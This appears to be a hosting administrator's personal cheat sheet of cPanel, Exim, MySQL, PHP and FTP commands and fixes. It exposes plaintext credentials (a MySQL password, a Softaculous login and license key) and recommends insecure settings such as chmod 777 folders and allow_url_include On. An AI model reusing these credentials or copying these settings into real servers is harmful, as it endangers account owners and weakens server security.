chown -v $user.$user /home/$user/public_html/php.ini
done ;
ls *tar.gz | chmod -v $(xargs)
test -f php.ini && cp -v php.ini php.ini-bak
cp -v -b php.ini
strings -f /bin/* | grep Copy
-f --print-file-name Print the name of the file before each string
************************************************************************************************************************
************************************************************************************************************************
Renaming Folders
find -type d -maxdepth 1 -exec mv -v {} {}_bak \;
/home/ustundag
ls -ld *tar.gz | wc
wc user_name*
root@next [/home]# ls -ld *tar.gz | awk '{print $9}' | cut -c 8-50
root@next [/home]# ls -ld *tar.gz | awk '{print $9}' | cut -c 8-50 | cut -d . -f 1
root@prince [/home]# ls -ld *tar.gz | awk '{print $9}' | cut -d _ -f 3
root@prince [/home]# ls -ld *tar.gz | awk '{print $9}' | cut -d _ -f 3 | cut -d . -f 1
*********************************************************************************************************************
php Runtime Configuration
http://www.php.net/manual/en/info.configuration.php#ini.max-input-time
*********************************************************************************************************************
http://65.60.24.2/~defaultt/serverstat/?nocahe
*********************************************************************************************************************
rsync command
rsync -varhP
root@next [/usr/local/apache/htdocs]# rsync -av --progress --rsh="ssh -l whwteam" next/ 67.23.238.138:next/
reverse mapping checking getaddrinfo for 67-23-238-138.static.dimenoc.com failed - POSSIBLE BREAK-IN ATTEMPT!
whwteam@67.23.238.138's password:
stdin: is not a tty
building file list ...
11 files to consider
./
cpmove-andevac.tar.gz
1676623183 100% 367.87kB/s 1:14:10 (xfer#1, to-check=9/11)
cpmove-atikorg.tar.gz
1675542684 100% 335.97kB/s 1:21:10 (xfer#2, to-check=8/11)
scp cpmove-yuksel.tar.gz 67.23.238.138:/home/
*********************************************************************************************************************
To start SSL service
killall -9 httpd
/etc/init.d/httpd startssl
*********************************************************************************************************************
dmesg | grep -vi firewall | less
*********************************************************************************************************************
Linux / UNIX command to open .gz files
$ gunzip file.gz
$ gzip -d file.gz
*********************************************************************************************************************
create a .tar.gz file
http://www.thedumbterminal.co.uk/php/knowledgebase/?action=view&id=3
tar -cvzf <output filename> <directory>
this means:
-c = create new archive
-v = be verbose
-z = compress using gzip
-f = filename to create for the new archive
for the directory dont to "directory/*" just to "directory" with no slash
filenames should end in ".tar.gz" as they are tarr'ed then zipped
*********************************************************************************************************************
Disabling PHP for specific directories with Apache
To disable PHP for a specific directory when running Apache web server, just use the "php_value" directive inside a location, directory or files block in your config file. See the example below for details:
<Location /somedir>
php_value engine off
</Location>
*********************************************************************************************************************
SERVICE CURRENTLY NOT AVAILABLE!Error No. [500]
/usr/local/cpanel/bin/update-squirrelmail --force
path to update scripts
/usr/local/cpanel/bin/update
*********************************************************************************************************************
Temporary link for Windows
http://184.154.49.162/$sitepreview/domain name/
*********************************************************************************************************************
export LANG=C ; setenv LANG C ; echo ${LANG}_SSH_CLIENT=${SSH_CLIENT}
setenv SSH_CLIENT 72.29.67.34 ; export SSH_CLIENT=72.29.67.34
stty columns 80
perl -e 'print "\t==sshcontroloutput==\n"';/bin/sh -c 'cat /etc/trueuserdomains /etc/trueuserowners /etc/domainips /usr/local/cpanel/version 2>/dev/null ; echo ; /scripts/dumpquotas 2>/dev/null ; echo';echo;perl -e 'print "\t==sshcontroloutput==\n"'
exit
*********************************************************************************************************************
Change ownership of softlink
-h, --no-dereference
# chown abdul96.abdul96 -h test
*********************************************************************************************************************
Verify that port is open
Run following command:
netstat -tulpn | less
Make sure iptables is allowing port 80 / 110 / 143 connections:
iptables -L -n
*********************************************************************************************************************
hich Processes are Running On Your Server
sbin/chkconfig --list
*********************************************************************************************************************
increase mail size limit in exim
exim -bP | grep message_size_limit
http://forums.cpanel.net/f5/set-mail-attachment-size-limit-7481.html
http://linuxhostingsupport.net/blog/tag/increase-size-of-email-in-exim
*********************************************************************************************************************
setuid and setgid bits
http://forums.macnn.com/90/mac-os-x/226271/what-does-permission-mean-rwsr-sr/
http://www.linuxquestions.org/questions/linux-server-73/how-to-set-permission-to-this-file-630945/
chmod 4755 looks like this:
-rwsr-xr-x
*********************************************************************************************************************
dovecot -n
Re: Permission denied when creating email account on cpanel
You can use following command as root user for cpanel to fix account level mail related permissions.
# /scripts/mailperm --verbose --skiplocaldomains --skipserverperm USER
# /scripts/mailperm --verbose USER
Where USER is cPanel account username.
--skiplocaldomains - This optional argument bypasses
addition of missing domains to the /etc/localdomains
file when specified. The localdomains file specifies
to Exim that it should always accept delivery for
the listed domains. Remote domains are removed from
/etc/localdomains regardless of this flag.
--skipmxcheck - This optional argument bypasses synchronizing
the mail exchanger setting from the cpanel users file to the
system.
--skipserverperm - This optional flag prevents modification
of the mail system files used by Exim and limits the
scope of permission modifications to the mail account
files.
--verbose - This optional flag signals the utility to
report detected permissions problems per user prior
to modifying any permissions.
--help - display this message and exit.
Fixed permissions on /home/jalalna/mail/emessamedia.com/test/.Sent/maildirfolder : was (0644), now (0660)
Fixed permissions on /home/jalalna/mail/emessamedia.com/test/.Junk/maildirfolder : was (0644), now (0660)
Fixed permissions on /home/jalalna/mail/emessamedia.com/test/.Drafts/maildirfolder : was (0644), now (0660)
*********************************************************************************************************************
Server Mail IP:
cat /var/cpanel/mainip
*********************************************************************************************************************
change cpanel them from shell
http://linuxhostingsupport.net/blog/howto-change-cpanel-theme-for-multiple-accounts
Use replace command on your shell.
cd /var/cpanel/users
replace RX=Vertex RX=X2 -- *
Change display_errors to Off
cp /usr/lib/php.ini . ; replace "display_errors = On" "display_errors = Off" -- php.ini ; replace "safe_mode = On" "safe_mode = Off" -- php.ini
http://www.grymoire.com/Unix/Sed.html
sed -e 's/public/var/' configuration.php > check.conf
*********************************************************************************************************************
PATH
Exentention path
ls -lh /usr/local/lib/php/extensions/
ls -lh /usr/local/lib/php/extensions/no-debug-non-zts-20060613/
i.e(ffmpeg.so ixed.5.2.lin pdo_mysql.so pdo.so pdo_sqlite.so sqlite.so suhosin.so)
Can check in php.ini file
; Directory in which the loadable extensions (modules) reside.
extension_dir = "/usr/local/lib/php/extensions/no-debug-non-zts-20060613"
php.ini file for ffmpeg
cat /usr/local/lib/php.ini.ffmpeg
ll /usr/local/Zend/lib/Optimizer-3.3.9/
squirrelmail config path
/usr/local/cpanel/base/3rdparty/squirrelmail/config/config.php
^Path
/etc/mail/spamassassin/
http://spamassassin.apache.org/full/2.6x/dist/doc/sa-learn.html
bayes_toks
*********************************************************************************************************************
#php -r 'phpinfo();' | grep ffmpeg
#php -r 'phpinfo();'
*********************************************************************************************************************
Cpanel >> Site software
touch /home/nextdem/.my.cnf
vi /home/nextdem/.my.cnf
[client]
user="nextdem"
pass="RXZxP98O2Y"
*********************************************************************************************************************
Dovecot:
http://docs.cpanel.net/twiki/pub/AllDocumentation/ReleaseNotes/dovecot-1.1.pdf
http://www.linuxmail.info/install-setup-dovecot-centos-5/
The command line method is initiated by executing /scripts/setupmailserver dovecot.
The WHM interface to this process is the Mailserver Selection function in the Service Configuration
section.
When performed using WHM, the conversion process is executed in the background, with the progress
logged to /var/cpanel/logs/setupmailserver as well as displayed in the browser.
Some failures were encountered during maildir conversion process.
Full log available at: /var/cpanel/logs/imap_conversion.log.1304549353
*********************************************************************************************************************
cPanel Software scripts
http://forum.likg.org.ua/server-side-actions/re-install-auxiliary-cpanel-software-scripts-t303.html
*********************************************************************************************************************
perl -pi -e 's/(useSendmail.*?= )false/$1true/g' /usr/local/cpanel/base/3rdparty/squirrelmail/config/config.php
*********************************************************************************************************************
roundcube 500
/usr/local/cpanel/bin/update-roundcube --force
*********************************************************************************************************************
How do I print a file in reverse order?
tac -r -s "." FILENAME
Tail a file at one line per second
tail -fs 1 somefile
*********************************************************************************************************************
SSL Certifate
SSLCertificateFile /etc/ssl/certs/www.hs-4u.com.crt
SSLCertificateKeyFile /etc/ssl/private/www.hs-4u.com.key
SSLCACertificateFile /etc/ssl/certs/www.hs-4u.com.cabundle
*********************************************************************************************************************
To check avaiable IPs on servers
/scripts/rebuildippool
System has 0 free ips.
*********************************************************************************************************************
lastb
last | head -n 20
# last -ai -t 20110604060111 root | grep -E 'gone|still'
root pts/0 Sat Jun 4 05:42 gone - no logout 124.13.76.205
root@host1 [~]# last -ai root | grep 124.13.76.205
root pts/0 Sat Jun 4 05:42 - 08:20 (02:38) 124.13.76.205
****************************@ *********************************************************************************
To check mysql logs:
# tail -f /var/lib/mysql/real.superdnssite.com.err
# tail -f /var/lib/mysql/serverhostname.err
*********************************************************************************************************************
Error message: Can't create/write to file '/tmp/#sql_6c5a_0.MYI' (Errcode: 13)
# chown root:root /tmp
# chmod 1777 /tmp
# /etc/init.d/mysqld start
http://forums.mysql.com/read.php?11,101316,126000
Re: Can't create/write to file '/root/tmp/
REMARK :
Don't do this :
1. mkdir /var/lib/mysql/tmp
2. chmod mysql:mysql /var/lib/mysql/tmp
3. Add the following line into the [mysqld] section: tmpdir = /var/lib/mysql/tmp
4. Restart the server
But do :
1. mkdir /tmp/mysql
2. chmod 777 /tmp/mysql
3. chown mysql:mysql /tmp/mysql
4. vi /etc/my.cnf and add in [mysqld section] : tmpdir = /tmp/mysql
5. /etc/init.d/mysql restart or /etc/init.d/mysqld restart to restart mysql-server
*********************************************************************************************************************
How To Optimize Your Site With GZIP Compression
http://betterexplained.com/articles/how-to-optimize-your-site-with-gzip-compression/
*********************************************************************************************************************
ERROR 1153: Got a packet bigger than 'max_allowed_packet' bytes
http://dev.mysql.com/doc/refman/5.1/en/packet-too-large.html
mysql -u root -p < /data/backup/dump/mysqldump_utf.txt
mysql -u root -p -- --max_allowed_packet=32M < /data/backup/dump/mysqldump_utf.txt
mysql -u root -p -- --max_allowed_packet=500M < /data/backup/dump/mysqldump_utf.txt
mysql>show variables like 'max_allowed_packet';
mysql> mysqld --max_allowed_packet=16M
Before MySQL 4.0, use this syntax instead:
mysql> mysqld --set-variable=max_allowed_packet=16M
--To set a larger value, start
mysql like this:
-->shell> mysqld --max_allowed_packet=32M
This can be changed in your my.ini file (located in program files, mysql, mysql Server) under the server section, for example:
[mysqld]
max_allowed_packet = 10M
Also, change the my.cnf or my.ini file under the mysqld section and set max_allowed_packet=100M or you could run these commands in a mysql console connected to that same server:
set global net_buffer_length=1000000;
set global max_allowed_packet=1000000000;
MySQL> command prompt, you can type:
show variables like 'max_allowed_packet';
mysqladmin variables | grep max_allowed_packet
To check innodb is enabled or not
mysqladmin var | grep innodb | head -n 2
#mysql
mysql> SHOW ENGINES;
InnoDB | DISABLED | Supports transactions, row-level locking, and foreign keys
mysql> show engines ;
+------------+---------+----------------------------------------------------------------+--------------+------+------------+
| Engine | Support | Comment | Transactions | XA | Savepoints |
+------------+---------+----------------------------------------------------------------+--------------+------+------------+
| InnoDB | YES | Supports transactions, row-level locking, and foreign keys | YES | YES | YES |
| MRG_MYISAM | YES | Collection of identical MyISAM tables | NO | NO | NO |
| BLACKHOLE | YES | /dev/null storage engine (anything you write to it disappears) | NO | NO | NO |
| CSV | YES | CSV storage engine | NO | NO | NO |
| MEMORY | YES | Hash based, stored in memory, useful for temporary tables | NO | NO | NO |
| FEDERATED | NO | Federated MySQL storage engine | NULL | NULL | NULL |
| ARCHIVE | YES | Archive storage engine | NO | NO | NO |
| MyISAM | DEFAULT | Default engine as of MySQL 3.23 with great performance | NO | NO | NO |
+------------+---------+----------------------------------------------------------------+--------------+------+------------+
8 rows in set (0.00 sec)
*********************************************************************************************************************
du -ah
# du -sh *
# du -ah
# df -h
# df -ha
*********************************************************************************************************************
For Loaders:
RLimitMEM 194857600
RLimitCPU 10
RLimitNPROC 25
RLimitCPU 60 60
RLimitMEM 265500800
RLimitMEM 285500800
RLimitMEM 325458048
RLimitCPU 10 10
RLimitNPROC 10 10
Please set following limit in server :
RLimitMEM 104857600 104857600 (100 MB)
RLimitCPU 150 200
RLimitNPROC 25
Fatal error: Out of memory
=================================
edit file /etc/httpd/conf/httpd.conf and comment following lines
#RLimitMEM 813712042
#RLimitCPU 240
*********************************************************************************************************************
Fantastico is not installed at the default location
/usr/local/cpanel/3rdparty/fantastico. Either move the Fantastico directory
from it's current location to /usr/local/cpanel/3rdparty/fantastico OR
enable ioncube loaders in WHM -> Tweak settings.
Internal PHP's "php.ini" file (/usr/local/cpanel/3rdparty/etc/php.ini).
----------------------------------------
zend_extension="/usr/local/cpanel/3rdparty/fantastico/loaders/ioncube_loader_lin_5.2.so"
*********************************************************************************************************************
How to disable webmail interface for single account
How to disable webmail interface for single account?
if you want to disable 'Horde' and 'Neomail' for any user
vi /var/cpanel/users/anyuser
Then add the following lines ::
skiphorde = 1
skipneomail = 1
(Here '1' is for disable and '0' is for enable)
*********************************************************************************************************************
root@trinity [/usr/local/apache/htdocs]# cat serverstats_inc.php
<?php
echo exec(uptime);
?>
*********************************************************************************************************************
Once you execute the command, you can verify the configuration using:
/usr/local/cpanel/bin/rebuild_phpconf –current
*********************************************************************************************************************
linuxgo.net
How to disable suhosin for perticular domain using php.ini or .htaccess
http://www.linuxgo.net/how-to-disable-suhosin-for-perticular-domain-using-php-ini-or-htaccess/
*********************************************************************************************************************
Disk Space Usage showing zero or very low
https://forums.cpanel.net/f5/disk-space-usage-showing-zero-very-low-120105.html
/scripts/fixquotas
Try these commands:
Code:
mkdir /home/username/.cpanel/old
mv /home/username/.cpanel/datastore /home/username/.cpanel/old
Where username represents the cPanel username. If that doesn't resolve the issue, try removing the files from /home/username/.cpanel/caches/dyanmicui/ and /home/username/.cpanel/caches/featurelists/
*********************************************************************************************************************
/sbin/hwclock --systohc (this syncs the time with the bios).
*********************************************************************************************************************
AddDefaultCharset UTF-8
*********************************************************************************************************************
*********************************************************************************************************************
You should check the server to see why the load is so high and take
steps to lower the load. If you want stats to continue to run even with a high load; Edit
/var/cpanel/cpanel.config and change extracpus to a number larger then 0 (run
/usr/local/cpanel/startup afterwards to pickup the changes).
*********************************************************************************************************************
Process:
leechprotect
/usr/bin/perl /usr/local/cpanel/bin/leechprotect
mysqlwrap
cpsrvd-ssl
/usr/local/cpanel/cpsrvd-ssl
cpsrvd-ss 14355 cpanelroundcube txt REG 8,5 9757080 8621753 /usr/local/cpanel/cpsrvd-ssl
cpsrvd-ss 14355 cpanelroundcube 12u IPv4 107732154 TCP veebo.superdnssite.com:nbx-ser->100.205.222.87.dynamic.jazztel.es:mmpft (ESTABLISHED)
*********************************************************************************************************************
Outlook asking pasword again and again.
perl -pi -e 's/(useSendmail.*?= )false/$1true/g' /usr/local/cpanel/base/3rdparty/squirrelmail/config/config.php
*********************************************************************************************************************
root@combo [/usr/local/apache/htdocs]# cat serverstats_inc.php
<?php
echo exec(uptime);
?>
----------------------------------------
root@veebo [/bin]# cat deldom
find /usr/local/apache/domlogs -type f|awk '{print "echo > " $1}' > /home/whwteam/loglist
printf "The list of log files generated. Now emptying the domlog files.
"
chmod 777 /home/whwteam/loglist
/home/whwteam/loglist
rm -rf /home/whwteam/loglist
printf " All domlog files are empty now
"
----------------------------------------
root@veebo [/bin]# df -h
#cat /usr/local/ddos/croncheck
# Checking status of crond here
STATS=$(/etc/init.d/crond status |grep running|wc -l)
if [ $STATS -eq 0 ]
then
/etc/init.d/crond restart
printf '\E[31m'"\033[1m\nCrond service was stopped on server and was restarted when you logged in,
This incident and your computer name is logged and mailed to APS Admin\n\033[0m\n\033[0m"
fi
----------------------------------------
# cat ddos.pl
#!/usr/bin/perl
while(1)
{
@connections = (`netstat -plan | grep :80 | awk '{print \$5}' | cut -d : -f 1 | sort -nk1 | uniq -c | sort -nk1`);
foreach (@connections)
{
$ips = $_;
$ips=~ m/(\d+)\s(\d+\.\d+\.\d+.\d+)/;
$count = $1;
$ip = $2;
if ($count > 15)
{
print "$ip has $count connections dropping\n" ;
$deny = `csf \-d $ip`;
print "$deny";
}
}
sleep(3);
}
----------------------------------------
*********************************************************************************************************************
root@combo [/home/webalat/public_html]# alias
alias attrib='chmod'
alias chdir='cd'
alias copy='cp'
alias cp='cp -i'
alias d='dir'
alias del='rm'
alias deltree='rm -r'
alias dir='/bin/ls $LS_OPTIONS --format=vertical'
alias edit='pico'
alias ff='whereis'
alias l.='ls -d .* --color=tty'
alias ll='ls -l --color=tty'
alias ls='/bin/ls $LS_OPTIONS'
alias mem='top'
alias move='mv'
alias mv='mv -i'
alias pico='pico -w -z'
alias rm='rm -i'
alias search='grep'
alias v='vdir'
alias vdir='/bin/ls $LS_OPTIONS --format=long'
alias which='type -path'
alias wtf='watch -n 1 w -hs'
alias wth='ps -uxa | more'
****************************************************************************************************************To configure your Pure-FTP server:
http://docs.cpanel.net/twiki/bin/view/AllDocumentation/WHMDocs/FtpConfig
Maximum Idle Time (seconds), specify the number of seconds an FTP connection may remain idle before being disconnected by the server.
Specify the maximum number of FTP connections in the Maximum Connections field.
Remember: This limit is applied server-wide and not on a per user basis.
In the Maximum Connections Per IP Address field, specify the maximum number of FTP connections to accept from a single IP address.
Denying FTP Access — /etc/ftpusers
http://docs.cpanel.net/twiki/bin/view/AllDocumentation/WHMDocs/FtpUsersFile
The /etc/ftpusers file on your server contains a list of users who should be denied FTP access.
PerUserLimits 3:20
TLS 1
# Set to 'yes' if you don't want your users to rename files.
#NoRename yes
# Enable virtual quotas. The first number is the max number of files.
# The second number is the max size of megabytes.
# So 1000:10 limits every user to 1000 files and 10 Mb.
#Quota 1000:10
# Allow users to resume and upload files, but *NOT* to delete them.
#KeepAllFiles yes
# Disallow the CHMOD command. Users can't change perms of their files.
#NoChmod yes
# Create an additional log file with transfers logged in a Apache-like format :
# fw.c9x.org - jedi [13/Dec/1975:19:36:39] "GET /ftp/linux.tar.bz2" 200 21809338
# This log file can then be processed by www traffic analyzers.
AltLog xferlog:/usr/local/apache/domlogs/ftpxferlog
# Never overwrite files. When a file whoose name already exist is uploaded,
# it get automatically renamed to file.1, file.2, file.3, ...
AutoRename no
# Prohibit *reading* of files beginning with a dot (.history, .ssh...)
ProhibitDotFilesRead no
# Users can't delete/write files beginning with a dot ('.')
# even if they own them. If TrustedGID is enabled, this group
# will have access to dot-files, though.
ProhibitDotFilesWrite no
# File creation mask. <umask for files>:<umask for dirs> .
# 177:077 if you feel paranoid.
Umask 133:022
# If the system is more loaded than the following value,
# anonymous users aren't allowed to download.
MaxLoad 4
LimitRecursion 2000 8
# Maximum idle time in minutes (default = 15 minutes)
MaxIdleTime 25
# Maximum number of simultaneous users
MaxClientsNumber 50
*****
****************************************************************************************************************Using the archive split method!
/scripts/pkgacct --skiphomedir xmotorsh "" --split compressed --mysql 5.0
/scripts/pkgacct --skiphomedir uploader "" --split compressed --mysql 5.0
*****
*********************************************************************************************************************
Web Template Editor
Cpanel users locateion of web templates
Default Template
/var/cpanel/webtemplates/username/english/default.tmpl
Account Move Template
/var/cpanel/webtemplates/username/english/moving.tmpl
Connection Selection Template
/var/cpanel/webtemplates/username/english/redirect.tmpl
Account Suspended Template
/var/cpanel/webtemplates/username/english/suspended.tmpl
*********************************************************************************************************************
Uplaod images (screenshoot)
http://www.habboduck.com/upload/
****************************************************************************************************************
Run .net applications on linux
http://www.mono-project.com/Main_Page
*****
how to check cpanel version on command line in linux
/usr/local/cpanel/cpanel -V
There are two ways to check cpanel/WHm version.
1)
i) For WHM. Login to WHM, and on top right corner you will find WHM version
ii) For cPanel. Login to cpanel and on the left hand navigation bar you will find "cPanel Version"
2) checking from CLI (command line interface)
root@Server [~]# cat /usr/local/cpanel/version
*********************************************************************************************************************
Cpanel php.ini:
/usr/local/cpanel/3rdparty/etc/php.ini
*********************************************************************************************************************
Change permission of multipe files at a time
chmod 777 -v {products,portfolios,style,products/bulk_images,products/zip,csv,pem,banners,digital_product}
or
chmod 777 -v products portfolios style products/bulk_images products/zip csv pem banners digital_product
ls -ld {products,portfolios,style,products/bulk_images,products/zip,csv,pem,banners,digital_product}
*********************************************************************************************************************
Shortcuts
ls -lh /var/lib/mysql/$(hostname).err
ls -lh /home/[^w]*/*.tar.gz
*********************************************************************************************************************
http://ffmpeg.arrozcru.org/builds/
*********************************************************************************************************************
http://forums.cpanel.net/f5/httpd-status-details-ssh-159645.html
/scripts2/apachestatus
is the exact command that is used by Main >> Server Status >> Apache Status.
/usr/local/apache/bin/apachectl fullstatus
*********************************************************************************************************************
JSON parsed error email accounts client
http://forums.cpanel.net/f5/json-parsed-error-email-accounts-client-211312.html
*********************************************************************************************************************
upgraded cpanel - cannot send/receive emails
http://forums.theplanet.com/lofiversion/index.php/t76947.html
*********************************************************************************************************************
Check multiple variables values
# php -i | egrep 'memory_limit|upload_max_filesize|post_max_size'
*********************************************************************************************************************
locate *core.[1-9]*
*********************************************************************************************************************
WordPress Error: You do not have sufficient permissions to access this page
http://www.tech-evangelist.com/2010/02/06/wordpress-error-sufficient-permissions/
*********************************************************************************************************************
mutt -f imap://localhost/
*********************************************************************************************************************
http://web-sniffer.net/
*********************************************************************************************************************
WordPress Error: You do not have sufficient permissions to access this page while login to wp-admin
http://wordpress.org/support/topic/you-do-not-have-sufficient-permissions-to-access-this-page-29
http://markjaquith.wordpress.com/2006/03/28/wordpress-error-you-do-not-have-sufficient-permissions-to-access-this-page/
http://internetmarketingcoding.com/you-do-not-have-sufficient-permissions-to-access-this-page
Wordpress help:
http://codex.wordpress.org/Database_Description
*********************************************************************************************************************
Sed help
http://www.panix.com/~elflord/unix/sed.html
Awstat button not showing:
replace AllowToUpdateStatsFromBrowser=0 AllowToUpdateStatsFromBrowser=1 -- awstats.brownfolder.com.conf-bak
replace AllowToUpdateStatsFromBrowser=0 AllowToUpdateStatsFromBrowser=1 -- *.conf
replace - a string-replacement utility
*********************************************************************************************************************
/scripts/courierup
/scripts/courierup --froce
/scripts/setupmailserver
/scripts/dovecotup
/scripts/dovecotup --force
/scripts/setupmailserver --force courier
/scripts/eximup --force
/scripts/upcp –force
*********************************************************************************************************************
joomla redirect to www htaccess
http://www.bluehostforum.com/showthread.php?15946-.htaccess-redirects-with-Joomla
http://www.joomlaworld.org/jooomla-installation/redirect-your-websites-domain-to-www-using-htaccess-file.html
http://www.ostraining.com/qa/joomla/topic810/
*********************************************************************************************************************
To sreach only directory:
ll | grep ^d
root@sun [/var/cpanel]# ll cpanelbranding
lrwxrwxrwx 1 cpanel cpanel 31 Dec 2 2010 cpanelbranding -> userhomes/cpanel/cpanelbranding/
root@theta [/home/ipmallor/cpanelbranding/x3]
Location of packages
root@sun [/var/cpanel]# ll packages/
*********************************************************************************************************************
Linux Find If Processor / CPU is 64 bit / 32 bit
– uname
– getconf LONG_BIT / cat /usr/include/asm/cpufeature.h
– cat /proc/cpuinfo
– DMI / dmidecode
getconf
getconf - get configuration values
#getconf LONG_BIT
http://www.opengroup.org/sud/sud1/xcu/getconf.htm
getconf - get configuration values for specified variables
*********************************************************************************************************************
perl -e 'print "\t==sshcontroloutput==\n"';/scripts/unpkgacct yournewc /home/whwteam;echo;perl -e 'print "\t==sshcontroloutput==\n"
To find the files which are created/mofied in home directory within 1 hour
#find -maxdepth 2 -ctime -1 -name "*tar.gz*" -exec ls -lh {} \;
*********************************************************************************************************************
http://docs.cpanel.net/twiki/bin/view/SoftwareDevelopmentKit/TroubleshootingPerl
/scripts/perlmods -l — List installed modules
/scripts/perlmods -s — Perl::Mod to search for installed modules
/scripts/perlmods -u — Perl::Mod to uninstall modules
/scripts/checkperlmodules --force — Force modules to be reinstalled
/scripts/checkperlmodules --full — Ensure additional Perl modules are also installed
/scripts/perlinstaller --force — Perl::Mod to force installation of the module specified
*********************************************************************************************************************
check lfd
cat /var/log/lfd.log | egrep '11:' | grep 28 | less
**************************************************************************************************************
Exim : retry time not reached for any host after a long failure period
The issue is because of the corrupted exim db files.
Goto /var/spool/exim/db and delete files: retry , retry.lockfile , wait-remote_smtp, wait-remote_smtp.lockfile
cd /var/spool/exim/db
mv -fv retry bak-retry
mv -fv retry.lockfile bak-retry.lockfile
mv -fv wait-remote_smtp bak-wait-remote_smtp
mv -fv wait-remote_smtp.lockfile bak-wait-remote_smtp.lockfile
/etc/init.d/exim restart
*******
*********************************************************************************************************************
Return path is:
Return-Path: <weboinfo@pro.dnsnetservice.com>
return path mention by mail function of php is overwriten by server configurations.
postmaster@web2o.info
return_path_remove = false
*********************************************************************************************************************
/usr/local/bin/php: /opt/xml2/lib/libxml2.so.2: no version information available (required by /opt/xslt/lib/libxslt.so.1)
PHPlist version 2.10.13 (c) 2000-2011 Tincan Ltd, http://www.phplist.com
it appears when the cron job runs a php file
http://www.litespeedtech.com/support/forum/showthread.php?t=3703&page=2
http://www.eyrie.org/~eagle/notes/rpath.html
http://www.litespeedtech.com/support/forum/showthread.php?t=3703&page=2
Digging a little bit deeper on this, came cross http://www.eyrie.org/~eagle/notes/rpath.html
I think something wrong with RPATH built into the binary, it can be checked with
Code:
readelf -d lsphp5 | grep RPATH
If somehow /usr/lib(64) got into RPATH before /opt/xml/lib, it could cause wrong library loaded. there is a tool called "patchelf" which can update RPATH built into ELF binary.
http://nixos.org/patchelf.html
The root cause might be the GNU build tool chain, autoconf, libtool, etc.
Reply With Quote
*********************************************************************************************************************
PHP Cross Reference of WordPress 2.7
http://xref.yoast.com/2.7/nav.html?_functions/index.html
function check:
check php Variables - Functions - Classes - Constants
http://phpcrossref.com/wordpress/_functions/sanitize_option.html
*********************************************************************************************************************
Account Suspended
This Account Has Been Suspended
.haccess
RedirectMatch .* /cgi-sys/suspendedpage.cgi
RedirectMatch .* /cgi-sys/defaultwebpage.cgi
*********************************************************************************************************************
Sorry, a mysql user with the name x already exists.
mysql
drop user 'xxxxx'@'localhost';
drop user 'gelinlik'@'localhost';
/scripts/updateuserdatacache
/var/cpanel/databases/users.db
grep -Rl USERNAME /var/cpanel/databases/
grep -Rl gelinlik /var/cpanel/databases/
/var/cpanel/databases/dbindex.db
/var/cpanel/databases/users.db
/var/cpanel/databases/dbindex.db.cache
/var/cpanel/databases/users.db.cache
*********************************************************************************************************************
locale
/var/cpanel/locale
/var/cpanel/locale/themes/x3
/var/cpanel/lang.cache
/var/cpanel/lang.cache/theme/x3
/usr/local/cpanel/locale
`
/usr/local/cpanel/lang
Creating Language Files
http://docs.cpanel.net/twiki/bin/view/CpanelLocale/DeprecatedLang
Main >> Locales >> Locale XML Download
root@alpha [/var/cpanel/locale]# ll it.cdb
Copy to /var/cpanel/locale/themes/x3 as well
root@alpha [/usr/local/cpanel/locale]# cp -v it.yaml
Swedish x3 language files (Swedish (svenska))
http://forums.cpanel.net/f8/swedish-x3-language-files-65885.html
Or available on
http://power.superdnssite.com:2086/scripts9/view_available_locales
http://real.superdnssite.com:2086/scripts9/view_available_locales
http://duke.superdnssite.com:2086/scripts9/view_available_locales
http://matrix.superdomainzone.com:2086/scripts9/view_available_locales?post_login=73359571057104
http://rosso.superdomainzone.com:2086/scripts9/view_available_locales?post_login=85824008760706
*********************************************************************************************************************
How to make root domain .htaccess not affect to addon domain
Some time the root domain .htaccess file rule affect to addon domains. So you can not access your addon domain properly. If you want to disable this rule for the addon domain then you need to add the following rule in the root domain .htaccess file.
RewriteCond %{HTTP_HOST} ^(www\.)?addon_domain\.com
Rewriterule .* - [L]
for example addon domain is indianwebportal.com then rule is
RewriteCond %{HTTP_HOST} ^(www\.)?indianwebportal\.com
Rewriterule .* - [L]
*********************************************************************************************************************
netstat -nla | grep :21
netstat -nla | grep :21 | sort -k 4
netstat -nla | grep :21 | sort -k 4 | awk '{print $5}'
netstat -nla | grep :21 | sort -k 4 | awk '{print $5}'| cut -d : -f 1 | uniq -c
netstat -nla | grep :21 | grep -v :80 | sort -k 4 | sort -k 4 | awk '{print $5}'| cut -d : -f 1 | uniq -c
*********************************************************************************************************************
Softaculous and Fantastico
If you need, you could use my username: Quax and Password: pcc013
My license is as follow: 50329-68635-29983-10042-44765 Premium Never Active 67.23.243.232
*********************************************************************************************************************
Uninstall softaculous
You can delete these folders/files:
/usr/local/cpanel/whostmgr/docroot/cgi/softaculous
/var/softaculous
/etc/cron.d/softaculous
Then run this command:
/usr/local/cpanel/bin/unregister_cpanelplugin /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/softaculous.cpanelplugin
Update
/usr/local/cpanel/3rdparty/bin/php /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/cron.php
*********************************************************************************************************************
ini_set('memory_limit', '20000M');
memory_limit = 64M ; Maximum amount of memory a script may consume (64MB)
php_value memory_limit 64M
define('WP_MEMORY_LIMIT', '64M');
1. If you have access to your PHP.ini file, change the line in PHP.ini
If your line shows 32M try 64M:
memory_limit = 64M ; Maximum amount of memory a script may consume (64MB)
2. If you don't have access to PHP.ini try adding this to an .htaccess file:
php_value memory_limit 64M
3. Try adding this line to your wp-config.php file:
Increasing memory allocated to PHP
define('WP_MEMORY_LIMIT', '64M');
*********************************************************************************************************************
URL file-access is disabled in the server configuration
allow_url_fopen = On
allow_url_include = On
file_uploads = On
upload_max_filesize = 20M
post_max_size = 20M
max_execution_time = 60
max_input_time = 90
memory_limit = 128M
safe_mode = Off
display_errors = Off
extension=json.so
////////
error_reporting = E_ALL & ~E_NOTICE
display_startup_errors = Off
log_errors = On
ignore_repeated_errors = Off
html_errors = Off
error_log = error_log
php_flag display_errors "0"
php_flag html_errors "0"
php_flag display_startup_errors "0"
php_flag log_errors "1"
php_flag allow_url_fopen "0"
GPG
gpg -c file #Encrypt file
gpg file.gpg #Decrypt file
Get Information About Your BIOS / Server Hardware From a Shell Without Opening Chassis ( BIOS Decoder )
http://www.cyberciti.biz/tips/querying-dumping-bios-from-linux-command-prompt.html
# dmidecode
Download Multiple Files / URLs Using wget -i
First, store all the download files or URLs in a text file as:
$ cat > download-file-list.txt
http://173.236.60.250/cpmove-concreta.tar.gz
URL1
URL2
$ wget -i download-file-list.txt
How to disable FTP access to particular user
Add username on
/etc/ftpusers
To check the files/folders having set Imutable Attrubite (i or I) Imutable Attrubite only
lsattr -R | awk '{print $1 $2}' | grep -i ^[-]*I
Or
chattr -i -R *
